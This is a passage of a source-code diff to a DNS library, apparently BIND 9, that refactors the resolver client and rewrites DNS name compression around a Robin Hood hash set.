+	dns_rdataset_t *rdataset = NULL, *sigrdataset = NULL;
 	bool want_dnssec, want_validation, want_cdflag, want_tcp;
 
 	REQUIRE(DNS_CLIENT_VALID(client));
 	REQUIRE(transp != NULL && *transp == NULL);
-
-	LOCK(&client->lock);
-	result = dns_viewlist_find(&client->viewlist, DNS_CLIENTVIEW_NAME,
-				   rdclass, &view);
-	UNLOCK(&client->lock);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	REQUIRE(rdclass == dns_rdataclass_in);
 
 	mctx = client->mctx;
-	rdataset = NULL;
-	sigrdataset = NULL;
 	want_dnssec = ((options & DNS_CLIENTRESOPT_NODNSSEC) == 0);
 	want_validation = ((options & DNS_CLIENTRESOPT_NOVALIDATE) == 0);
 	want_cdflag = ((options & DNS_CLIENTRESOPT_NOCDFLAG) == 0);
@@ -1130,16 +918,26 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
 	/*
 	 * Prepare some intermediate resources
 	 */
-	tclone = NULL;
-	isc_task_attach(task, &tclone);
-	event = (dns_clientresevent_t *)isc_event_allocate(
-		mctx, tclone, DNS_EVENT_CLIENTRESDONE, action, arg,
-		sizeof(*event));
-	event->result = DNS_R_SERVFAIL;
-	ISC_LIST_INIT(event->answerlist);
+	rev = isc_mem_get(mctx, sizeof(*rev));
+	*rev = (dns_clientresume_t){
+		.result = DNS_R_SERVFAIL,
+		.answerlist = ISC_LIST_INITIALIZER,
+		.cb = cb,
+		.arg = arg,
+	};
 
 	rctx = isc_mem_get(mctx, sizeof(*rctx));
-	isc_mutex_init(&rctx->lock);
+	*rctx = (resctx_t){
+		.client = client,
+		.rev = rev,
+		.type = type,
+		.want_dnssec = want_dnssec,
+		.want_validation = want_validation,
+		.want_cdflag = want_cdflag,
+		.want_tcp = want_tcp,
+		.namelist = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+	};
 
 	result = getrdataset(mctx, &rdataset);
 	if (result != ISC_R_SUCCESS) {
@@ -1158,27 +956,12 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
 	dns_fixedname_init(&rctx->name);
 	dns_name_copy(name, dns_fixedname_name(&rctx->name));
 
-	rctx->client = client;
-	ISC_LINK_INIT(rctx, link);
-	rctx->canceled = false;
-	rctx->task = client->task;
-	rctx->type = type;
-	rctx->view = view;
-	rctx->restarts = 0;
-	rctx->fetch = NULL;
-	rctx->want_dnssec = want_dnssec;
-	rctx->want_validation = want_validation;
-	rctx->want_cdflag = want_cdflag;
-	rctx->want_tcp = want_tcp;
-	ISC_LIST_INIT(rctx->namelist);
-	rctx->event = event;
+	dns_view_attach(client->view, &rctx->view);
 
 	rctx->magic = RCTX_MAGIC;
 	isc_refcount_increment(&client->references);
 
-	LOCK(&client->lock);
 	ISC_LIST_APPEND(client->resctxs, rctx, link);
-	UNLOCK(&client->lock);
 
 	*transp = (dns_clientrestrans_t *)rctx;
 	client_resfind(rctx, NULL);
@@ -1192,35 +975,12 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
 	if (sigrdataset != NULL) {
 		putrdataset(client->mctx, &sigrdataset);
 	}
-	isc_mutex_destroy(&rctx->lock);
 	isc_mem_put(mctx, rctx, sizeof(*rctx));
-	isc_event_free(ISC_EVENT_PTR(&event));
-	isc_task_detach(&tclone);
-	dns_view_detach(&view);
+	isc_mem_put(mctx, rev, sizeof(*rev));
 
 	return (result);
 }
 
-void
-dns_client_cancelresolve(dns_clientrestrans_t *trans) {
-	resctx_t *rctx;
-
-	REQUIRE(trans != NULL);
-	rctx = (resctx_t *)trans;
-	REQUIRE(RCTX_VALID(rctx));
-
-	LOCK(&rctx->lock);
-
-	if (!rctx->canceled) {
-		rctx->canceled = true;
-		if (rctx->fetch != NULL) {
-			dns_resolver_cancelfetch(rctx->fetch);
-		}
-	}
-
-	UNLOCK(&rctx->lock);
-}
-
 void
 dns_client_freeresanswer(dns_client_t *client, dns_namelist_t *namelist) {
 	dns_name_t *name;
@@ -1240,19 +1000,28 @@ dns_client_freeresanswer(dns_client_t *client, dns_namelist_t *namelist) {
 	}
 }
 
-void
-dns_client_destroyrestrans(dns_clientrestrans_t **transp) {
-	resctx_t *rctx;
-	isc_mem_t *mctx;
-	dns_client_t *client;
+/*%
+ * Destroy name resolution transaction state identified by '*transp'.
+ *
+ * The caller must have received the CLIENTRESDONE event (either because the
+ * resolution completed or because cancelresolve() was called).
+ */
+static void
+destroyrestrans(dns_clientrestrans_t **transp) {
+	resctx_t *rctx = NULL;
+	isc_mem_t *mctx = NULL;
+	dns_client_t *client = NULL;
 
 	REQUIRE(transp != NULL);
+
 	rctx = (resctx_t *)*transp;
 	*transp = NULL;
+
 	REQUIRE(RCTX_VALID(rctx));
 	REQUIRE(rctx->fetch == NULL);
-	REQUIRE(rctx->event == NULL);
+
 	client = rctx->client;
+
 	REQUIRE(DNS_CLIENT_VALID(client));
 
 	mctx = client->mctx;
@@ -1262,81 +1031,23 @@ dns_client_destroyrestrans(dns_clientrestrans_t **transp) {
 	 * Wait for the lock in client_resfind to be released before
 	 * destroying the lock.
 	 */
-	LOCK(&rctx->lock);
-	UNLOCK(&rctx->lock);
-
-	LOCK(&client->lock);
 
 	INSIST(ISC_LINK_LINKED(rctx, link));
 	ISC_LIST_UNLINK(client->resctxs, rctx, link);
 
-	UNLOCK(&client->lock);
-
 	INSIST(ISC_LIST_EMPTY(rctx->namelist));
 
-	isc_mutex_destroy(&rctx->lock);
 	rctx->magic = 0;
 
 	isc_mem_put(mctx, rctx, sizeof(*rctx));
-
-	dns_client_destroy(&client);
 }
 
 isc_result_t
 dns_client_addtrustedkey(dns_client_t *client, dns_rdataclass_t rdclass,
 			 dns_rdatatype_t rdtype, const dns_name_t *keyname,
 			 isc_buffer_t *databuf) {
-	isc_result_t result;
-	dns_view_t *view = NULL;
-	dns_keytable_t *secroots = NULL;
-	dns_name_t *name = NULL;
-	char rdatabuf[DST_KEY_MAXSIZE];
-	unsigned char digest[ISC_MAX_MD_SIZE];
-	dns_rdata_ds_t ds;
-	dns_decompress_t dctx;
-	dns_rdata_t rdata;
-	isc_buffer_t b;
-
 	REQUIRE(DNS_CLIENT_VALID(client));
+	REQUIRE(rdclass == dns_rdataclass_in);
 
-	LOCK(&client->lock);
-	result = dns_viewlist_find(&client->viewlist, DNS_CLIENTVIEW_NAME,
-				   rdclass, &view);
-	UNLOCK(&client->lock);
-	CHECK(result);
-
-	CHECK(dns_view_getsecroots(view, &secroots));
-
-	DE_CONST(keyname, name);
-
-	if (rdtype != dns_rdatatype_dnskey && rdtype != dns_rdatatype_ds) {
-		result = ISC_R_NOTIMPLEMENTED;
-		goto cleanup;
-	}
-
-	isc_buffer_init(&b, rdatabuf, sizeof(rdatabuf));
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
-	dns_rdata_init(&rdata);
-	isc_buffer_setactive(databuf, isc_buffer_usedlength(databuf));
-	CHECK(dns_rdata_fromwire(&rdata, rdclass, rdtype, databuf, &dctx, 0,
-				 &b));
-	dns_decompress_invalidate(&dctx);
-
-	if (rdtype == dns_rdatatype_ds) {
-		CHECK(dns_rdata_tostruct(&rdata, &ds, NULL));
-	} else {
-		CHECK(dns_ds_fromkeyrdata(name, &rdata, DNS_DSDIGEST_SHA256,
-					  digest, &ds));
-	}
-
-	CHECK(dns_keytable_add(secroots, false, false, name, &ds));
-
-cleanup:
-	if (view != NULL) {
-		dns_view_detach(&view);
-	}
-	if (secroots != NULL) {
-		dns_keytable_detach(&secroots);
-	}
-	return (result);
+	return (dns_view_addtrustedkey(client->view, rdtype, keyname, databuf));
 }
diff --git a/lib/dns/clientinfo.c b/lib/dns/clientinfo.c
index 8cd991b4e6..1ea5e7d69d 100644
--- a/lib/dns/clientinfo.c
+++ b/lib/dns/clientinfo.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,6 +14,7 @@
 /*! \file */
 
 #include <dns/clientinfo.h>
+#include <dns/ecs.h>
 
 void
 dns_clientinfomethods_init(dns_clientinfomethods_t *methods,
@@ -26,4 +29,14 @@ dns_clientinfo_init(dns_clientinfo_t *ci, void *data, void *versionp) {
 	ci->version = DNS_CLIENTINFO_VERSION;
 	ci->data = data;
 	ci->dbversion = versionp;
+	dns_ecs_init(&ci->ecs);
+}
+
+void
+dns_clientinfo_setecs(dns_clientinfo_t *ci, dns_ecs_t *ecs) {
+	if (ecs != NULL) {
+		ci->ecs = *ecs;
+	} else {
+		dns_ecs_init(&ci->ecs);
+	}
 }
diff --git a/lib/dns/compress.c b/lib/dns/compress.c
index c78e643290..2fbdf212f5 100644
--- a/lib/dns/compress.c
+++ b/lib/dns/compress.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,570 +11,356 @@
  * information regarding copyright ownership.
  */
 
-/*! \file */
-
 #define DNS_NAME_USEINLINE 1
 
-#include <inttypes.h>
 #include <stdbool.h>
+#include <stdint.h>
+#include <string.h>
 
+#include <isc/ascii.h>
+#include <isc/buffer.h>
+#include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/compress.h>
-#include <dns/fixedname.h>
-#include <dns/rbt.h>
-#include <dns/result.h>
+#include <dns/name.h>
 
-#define CCTX_MAGIC    ISC_MAGIC('C', 'C', 'T', 'X')
-#define VALID_CCTX(x) ISC_MAGIC_VALID(x, CCTX_MAGIC)
-
-#define DCTX_MAGIC    ISC_MAGIC('D', 'C', 'T', 'X')
-#define VALID_DCTX(x) ISC_MAGIC_VALID(x, DCTX_MAGIC)
-
-static unsigned char maptolower[] = {
-	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
-	0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
-	0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
-	0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
-	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
-	0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
-	0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,
-	0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
-	0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
-	0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
-	0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
-	0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
-	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
-	0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
-	0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
-	0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
-	0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
-	0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
-	0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
-	0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
-	0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
-	0xfc, 0xfd, 0xfe, 0xff
-};
+#define HASH_INIT_DJB2 5381
 
-/*
- * The tableindex array below is of size 256, one entry for each
- * unsigned char value. The tableindex array elements are dependent on
- * DNS_COMPRESS_TABLESIZE. The table was created using the following
- * function.
- *
- * static void
- * gentable(unsigned char *table) {
- *         unsigned int i;
- *         const unsigned int left = DNS_COMPRESS_TABLESIZE - 38;
- *         long r;
- *
- *         for (i = 0; i < 26; i++) {
- *                 table['A' + i] = i;
- *                 table['a' + i] = i;
- *         }
- *
- *         for (i = 0; i <= 9; i++)
- *                 table['0' + i] = i + 26;
- *
- *         table['-'] = 36;
- *         table['_'] = 37;
- *
- *         for (i = 0; i < 256; i++) {
- *                 if ((i >= 'a' && i <= 'z') ||
- *                     (i >= 'A' && i <= 'Z') ||
- *                     (i >= '0' && i <= '9') ||
- *                     (i == '-') ||
- *                     (i == '_'))
- *                         continue;
- *                 r = random() % left;
- *                 table[i] = 38 + r;
- *         }
- * }
- */
-static unsigned char tableindex[256] = {
-	0x3e, 0x3e, 0x33, 0x2d, 0x30, 0x38, 0x31, 0x3c, 0x2b, 0x33, 0x30, 0x3f,
-	0x2d, 0x3c, 0x36, 0x3a, 0x28, 0x2c, 0x2a, 0x37, 0x3d, 0x34, 0x35, 0x2d,
-	0x39, 0x2b, 0x2f, 0x2c, 0x3b, 0x32, 0x2b, 0x39, 0x30, 0x38, 0x28, 0x3c,
-	0x32, 0x33, 0x39, 0x38, 0x27, 0x2b, 0x39, 0x30, 0x27, 0x24, 0x2f, 0x2b,
-	0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x3a, 0x29, 0x36,
-	0x31, 0x3c, 0x35, 0x26, 0x31, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
-	0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12,
-	0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x3e, 0x3b, 0x39, 0x2f, 0x25,
-	0x27, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a,
-	0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16,
-	0x17, 0x18, 0x19, 0x36, 0x3b, 0x2f, 0x2f, 0x2e, 0x29, 0x33, 0x2a, 0x36,
-	0x28, 0x3f, 0x2e, 0x29, 0x2c, 0x29, 0x36, 0x2d, 0x32, 0x3d, 0x33, 0x2a,
-	0x2e, 0x2f, 0x3b, 0x30, 0x3d, 0x39, 0x2b, 0x36, 0x2a, 0x2f, 0x2c, 0x26,
-	0x3a, 0x37, 0x30, 0x3d, 0x2a, 0x36, 0x33, 0x2c, 0x38, 0x3d, 0x32, 0x3e,
-	0x26, 0x2a, 0x2c, 0x35, 0x27, 0x39, 0x3b, 0x31, 0x2a, 0x37, 0x3c, 0x27,
-	0x32, 0x29, 0x39, 0x37, 0x34, 0x3f, 0x39, 0x2e, 0x38, 0x2b, 0x2c, 0x3e,
-	0x3b, 0x3b, 0x2d, 0x33, 0x3b, 0x3b, 0x32, 0x3d, 0x3f, 0x3a, 0x34, 0x26,
-	0x35, 0x30, 0x31, 0x39, 0x27, 0x2f, 0x3d, 0x35, 0x35, 0x36, 0x2e, 0x29,
-	0x38, 0x27, 0x34, 0x32, 0x2c, 0x3c, 0x31, 0x28, 0x37, 0x38, 0x37, 0x34,
-	0x33, 0x29, 0x32, 0x34, 0x3f, 0x26, 0x34, 0x34, 0x32, 0x27, 0x30, 0x33,
-	0x33, 0x2d, 0x2b, 0x28, 0x3f, 0x33, 0x2b, 0x39, 0x37, 0x39, 0x2c, 0x3d,
-	0x35, 0x39, 0x27, 0x2f
-};
-
-/***
- ***	Compression
- ***/
-
-isc_result_t
-dns_compress_init(dns_compress_t *cctx, int edns, isc_mem_t *mctx) {
-	REQUIRE(cctx != NULL);
-	REQUIRE(mctx != NULL); /* See: rdataset.c:towiresorted(). */
+#define CCTX_MAGIC    ISC_MAGIC('C', 'C', 'T', 'X')
+#define CCTX_VALID(x) ISC_MAGIC_VALID(x, CCTX_MAGIC)
 
-	cctx->edns = edns;
-	cctx->mctx = mctx;
-	cctx->count = 0;
-	cctx->allowed = DNS_COMPRESS_ENABLED;
-	cctx->arena_off = 0;
+void
+dns_compress_init(dns_compress_t *cctx, isc_mem_t *mctx,
+		  dns_compress_flags_t flags) {
+	dns_compress_slot_t *set = NULL;
+	uint16_t mask;
 
-	memset(&cctx->table[0], 0, sizeof(cctx->table));
+	REQUIRE(cctx != NULL);
+	REQUIRE(mctx != NULL);
 
-	cctx->magic = CCTX_MAGIC;
+	if ((flags & DNS_COMPRESS_LARGE) != 0) {
+		size_t count = (1 << DNS_COMPRESS_LARGEBITS);
+		mask = count - 1;
+		set = isc_mem_callocate(mctx, count, sizeof(*set));
+	} else {
+		mask = ARRAY_SIZE(cctx->smallset) - 1;
+		set = cctx->smallset;
+	}
 
-	return (ISC_R_SUCCESS);
+	/*
+	 * The lifetime of this object is limited to the stack frame of the
+	 * caller, so we don't need to attach to the memory context.
+	 */
+	*cctx = (dns_compress_t){
+		.magic = CCTX_MAGIC,
+		.flags = flags | DNS_COMPRESS_PERMITTED,
+		.mctx = mctx,
+		.mask = mask,
+		.set = set,
+	};
 }
 
 void
 dns_compress_invalidate(dns_compress_t *cctx) {
-	dns_compressnode_t *node;
-	unsigned int i;
-
-	REQUIRE(VALID_CCTX(cctx));
-
-	for (i = 0; i < DNS_COMPRESS_TABLESIZE; i++) {
-		while (cctx->table[i] != NULL) {
-			node = cctx->table[i];
-			cctx->table[i] = cctx->table[i]->next;
-			if ((node->offset & 0x8000) != 0) {
-				isc_mem_put(cctx->mctx, node->r.base,
-					    node->r.length);
-			}
-			if (node->count < DNS_COMPRESS_INITIALNODES) {
-				continue;
-			}
-			isc_mem_put(cctx->mctx, node, sizeof(*node));
-		}
+	REQUIRE(CCTX_VALID(cctx));
+	if (cctx->set != cctx->smallset) {
+		isc_mem_free(cctx->mctx, cctx->set);
 	}
-
-	cctx->magic = 0;
-	cctx->allowed = 0;
-	cctx->edns = -1;
+	*cctx = (dns_compress_t){ 0 };
 }
 
 void
-dns_compress_setmethods(dns_compress_t *cctx, unsigned int allowed) {
-	REQUIRE(VALID_CCTX(cctx));
-
-	cctx->allowed &= ~DNS_COMPRESS_ALL;
-	cctx->allowed |= (allowed & DNS_COMPRESS_ALL);
-}
-
-unsigned int
-dns_compress_getmethods(dns_compress_t *cctx) {
-	REQUIRE(VALID_CCTX(cctx));
-	return (cctx->allowed & DNS_COMPRESS_ALL);
+dns_compress_setpermitted(dns_compress_t *cctx, bool permitted) {
+	REQUIRE(CCTX_VALID(cctx));
+	if (permitted) {
+		cctx->flags |= DNS_COMPRESS_PERMITTED;
+	} else {
+		cctx->flags &= ~DNS_COMPRESS_PERMITTED;
+	}
 }
 
-void
-dns_compress_disable(dns_compress_t *cctx) {
-	REQUIRE(VALID_CCTX(cctx));
-	cctx->allowed &= ~DNS_COMPRESS_ENABLED;
+bool
+dns_compress_getpermitted(dns_compress_t *cctx) {
+	REQUIRE(CCTX_VALID(cctx));
+	return ((cctx->flags & DNS_COMPRESS_PERMITTED) != 0);
 }
 
-void
-dns_compress_setsensitive(dns_compress_t *cctx, bool sensitive) {
-	REQUIRE(VALID_CCTX(cctx));
+/*
+ * Our hash value needs to cover the entire suffix of a name, and we need
+ * to calculate it one label at a time. So this function mixes a label into
+ * an existing hash. (We don't use isc_hash32() because the djb2 hash is a
+ * lot faster, and we limit the impact of collision attacks by restricting
+ * the size and occupancy of the hash set.) The accumulator is 32 bits to
+ * keep more of the fun mixing that happens in the upper bits.
+ */
+static uint16_t
+hash_label(uint16_t init, uint8_t *ptr, bool sensitive) {
+	unsigned int len = ptr[0] + 1;
+	uint32_t hash = init;
 
 	if (sensitive) {
-		cctx->allowed |= DNS_COMPRESS_CASESENSITIVE;
+		while (len-- > 0) {
+			hash = hash * 33 + *ptr++;
+		}
 	} else {
-		cctx->allowed &= ~DNS_COMPRESS_CASESENSITIVE;
+		/* using the autovectorize-friendly tolower() */
+		while (len-- > 0) {
+			hash = hash * 33 + isc__ascii_tolower1(*ptr++);
+		}
 	}
-}
 
-bool
-dns_compress_getsensitive(dns_compress_t *cctx) {
-	REQUIRE(VALID_CCTX(cctx));
-
-	return (cctx->allowed & DNS_COMPRESS_CASESENSITIVE);
+	return (isc_hash_bits32(hash, 16));
 }
 
-int
-dns_compress_getedns(dns_compress_t *cctx) {
-	REQUIRE(VALID_CCTX(cctx));
-	return (cctx->edns);
+static bool
+match_wirename(uint8_t *a, uint8_t *b, unsigned int len, bool sensitive) {
+	if (sensitive) {
+		return (memcmp(a, b, len) == 0);
+	} else {
+		/* label lengths are < 'A' so unaffected by tolower() */
+		return (isc_ascii_lowerequal(a, b, len));
+	}
 }
 
 /*
- * Find the longest match of name in the table.
- * If match is found return true. prefix, suffix and offset are updated.
- * If no match is found return false.
+ * We have found a hash set entry whose hash value matches the current
+ * suffix of our name, which is passed to this function via `sptr` and
+ * `slen`. We need to verify that the suffix in the message (referred to
+ * by `new_coff`) actually matches, in case of hash collisions.
+ *
+ * We know that the previous suffix of this name (after the first label)
+ * occurs in the message at `old_coff`, and all the compression offsets in
+ * the hash set and in the message refer to the first occurrence of a
+ * particular name or suffix.
+ *
+ * First, we need to match the label that was just added to our suffix,
+ * and second, verify that it is followed by the previous suffix.
+ *
+ * There are a few ways to match the previous suffix:
+ *
+ * When the first occurrence of this suffix is also the first occurrence
+ * of the previous suffix, `old_coff` points just after the new label.
+ *
+ * Otherwise, if this suffix occurs in a compressed name, it will be
+ * followed by a compression pointer that refers to the previous suffix,
+ * which must be equal to `old_coff`.
+ *
+ * The final possibility is that this suffix occurs in an uncompressed
+ * name, so we have to compare the rest of the suffix in full.
+ *
+ * A special case is when this suffix is a TLD. That can be handled by
+ * the case for uncompressed names, but it is common enough that it is
+ * worth taking a short cut. (In the TLD case, the `old_coff` will be
+ * zero, and the quick checks for the previous suffix will fail.)
  */
-bool
-dns_compress_findglobal(dns_compress_t *cctx, const dns_name_t *name,
-			dns_name_t *prefix, uint16_t *offset) {
-	dns_name_t tname;
-	dns_compressnode_t *node = NULL;
-	unsigned int labels, i, n;
-	unsigned int numlabels;
-	unsigned char *p;
-
-	REQUIRE(VALID_CCTX(cctx));
-	REQUIRE(dns_name_isabsolute(name));
-	REQUIRE(offset != NULL);
+static bool
+match_suffix(isc_buffer_t *buffer, unsigned int new_coff, uint8_t *sptr,
+	     unsigned int slen, unsigned int old_coff, bool sensitive) {
+	uint8_t pptr[] = { 0xC0 | (old_coff >> 8), old_coff & 0xff };
+	uint8_t *bptr = isc_buffer_base(buffer);
+	unsigned int blen = isc_buffer_usedlength(buffer);
+	unsigned int llen = sptr[0] + 1;
 
-	if (ISC_UNLIKELY((cctx->allowed & DNS_COMPRESS_ENABLED) == 0)) {
-		return (false);
-	}
+	INSIST(llen <= 64 && llen < slen);
 
-	if (cctx->count == 0) {
+	if (blen < new_coff + llen) {
 		return (false);
 	}
 
-	labels = dns_name_countlabels(name);
-	INSIST(labels > 0);
-
-	dns_name_init(&tname, NULL);
-
-	numlabels = labels > 3U ? 3U : labels;
-	p = name->ndata;
-
-	for (n = 0; n < numlabels - 1; n++) {
-		unsigned char ch, llen;
-		unsigned int firstoffset, length;
-
-		firstoffset = (unsigned int)(p - name->ndata);
-		length = name->length - firstoffset;
-
-		/*
-		 * We calculate the table index using the first
-		 * character in the first label of the suffix name.
-		 */
-		ch = p[1];
-		i = tableindex[ch];
-		if (ISC_LIKELY((cctx->allowed & DNS_COMPRESS_CASESENSITIVE) !=
-			       0)) {
-			for (node = cctx->table[i]; node != NULL;
-			     node = node->next) {
-				if (ISC_UNLIKELY(node->name.length != length)) {
-					continue;
-				}
-
-				if (ISC_LIKELY(memcmp(node->name.ndata, p,
-						      length) == 0)) {
-					goto found;
-				}
-			}
-		} else {
-			for (node = cctx->table[i]; node != NULL;
-			     node = node->next) {
-				unsigned int l, count;
-				unsigned char c;
-				unsigned char *label1, *label2;
-
-				if (ISC_UNLIKELY(node->name.length != length)) {
-					continue;
-				}
-
-				l = labels - n;
-				if (ISC_UNLIKELY(node->name.labels != l)) {
-					continue;
-				}
-
-				label1 = node->name.ndata;
-				label2 = p;
-				while (ISC_LIKELY(l-- > 0)) {
-					count = *label1++;
-					if (count != *label2++) {
-						goto cont1;
-					}
-
-					/* no bitstring support */
-					INSIST(count <= 63);
-
-					/* Loop unrolled for performance */
-					while (ISC_LIKELY(count > 3)) {
-						c = maptolower[label1[0]];
-						if (c != maptolower[label2[0]])
-						{
-							goto cont1;
-						}
-						c = maptolower[label1[1]];
-						if (c != maptolower[label2[1]])
-						{
-							goto cont1;
-						}
-						c = maptolower[label1[2]];
-						if (c != maptolower[label2[2]])
-						{
-							goto cont1;
-						}
-						c = maptolower[label1[3]];
-						if (c != maptolower[label2[3]])
-						{
-							goto cont1;
-						}
-						count -= 4;
-						label1 += 4;
-						label2 += 4;
-					}
-					while (ISC_LIKELY(count-- > 0)) {
-						c = maptolower[*label1++];
-						if (c != maptolower[*label2++])
-						{
-							goto cont1;
-						}
-					}
-				}
-				break;
-			cont1:
-				continue;
-			}
-		}
+	blen -= new_coff;
+	bptr += new_coff;
 
-		if (node != NULL) {
-			break;
-		}
+	/* does the first label of the suffix appear here? */
+	if (!match_wirename(bptr, sptr, llen, sensitive)) {
+		return (false);
+	}
 
-		llen = *p;
-		p += llen + 1;
+	/* is this label followed by the previously matched suffix? */
+	if (old_coff == new_coff + llen) {
+		return (true);
 	}
 
-found:
-	/*
-	 * If node == NULL, we found no match at all.
-	 */
-	if (node == NULL) {
-		return (false);
+	blen -= llen;
+	bptr += llen;
+	slen -= llen;
+	sptr += llen;
+
+	/* are both labels followed by the root label? */
+	if (blen >= 1 && slen == 1 && bptr[0] == 0 && sptr[0] == 0) {
+		return (true);
 	}
 
-	if (n == 0) {
-		dns_name_reset(prefix);
-	} else {
-		dns_name_getlabelsequence(name, 0, n, prefix);
+	/* is this label followed by a pointer to the previous match? */
+	if (blen >= 2 && bptr[0] == pptr[0] && bptr[1] == pptr[1]) {
+		return (true);
 	}
 
-	*offset = (node->offset & 0x7fff);
-	return (true);
+	/* is this label followed by a copy of the rest of the suffix? */
+	return (blen >= slen && match_wirename(bptr, sptr, slen, sensitive));
 }
 
-static inline unsigned int
-name_length(const dns_name_t *name) {
-	isc_region_t r;
-	dns_name_toregion(name, &r);
-	return (r.length);
+/*
+ * Robin Hood hashing aims to minimize probe distance when inserting a
+ * new element by ensuring that the new element does not have a worse
+ * probe distance than any other element in its probe sequence. During
+ * insertion, if an existing element is encountered with a shorter
+ * probe distance, it is swapped with the new element, and insertion
+ * continues with the displaced element.
+ */
+static unsigned int
+probe_distance(dns_compress_t *cctx, unsigned int slot) {
+	return ((slot - cctx->set[slot].hash) & cctx->mask);
 }
 
-void
-dns_compress_add(dns_compress_t *cctx, const dns_name_t *name,
-		 const dns_name_t *prefix, uint16_t offset) {
-	dns_name_t tname, xname;
-	unsigned int start;
-	unsigned int n;
-	unsigned int count;
-	unsigned int i;
-	dns_compressnode_t *node;
-	unsigned int length;
-	unsigned int tlength;
-	uint16_t toffset;
-	unsigned char *tmp;
-	isc_region_t r;
-	bool allocated = false;
-
-	REQUIRE(VALID_CCTX(cctx));
-	REQUIRE(dns_name_isabsolute(name));
-
-	if (ISC_UNLIKELY((cctx->allowed & DNS_COMPRESS_ENABLED) == 0)) {
-		return;
-	}
-
-	if (offset >= 0x4000) {
-		return;
-	}
-	dns_name_init(&tname, NULL);
-	dns_name_init(&xname, NULL);
+static unsigned int
+slot_index(dns_compress_t *cctx, unsigned int hash, unsigned int probe) {
+	return ((hash + probe) & cctx->mask);
+}
 
-	n = dns_name_countlabels(name);
-	count = dns_name_countlabels(prefix);
-	if (dns_name_isabsolute(prefix)) {
-		count--;
-	}
-	if (count == 0) {
-		return;
-	}
-	start = 0;
-	dns_name_toregion(name, &r);
-	length = r.length;
-	if (cctx->arena_off + length < DNS_COMPRESS_ARENA_SIZE) {
-		tmp = &cctx->arena[cctx->arena_off];
-		cctx->arena_off += length;
-	} else {
-		allocated = true;
-		tmp = isc_mem_get(cctx->mctx, length);
-	}
+static bool
+insert_label(dns_compress_t *cctx, isc_buffer_t *buffer, const dns_name_t *name,
+	     unsigned int label, uint16_t hash, unsigned int probe) {
 	/*
-	 * Copy name data to 'tmp' and make 'r' use 'tmp'.
+	 * hash set entries must have valid compression offsets
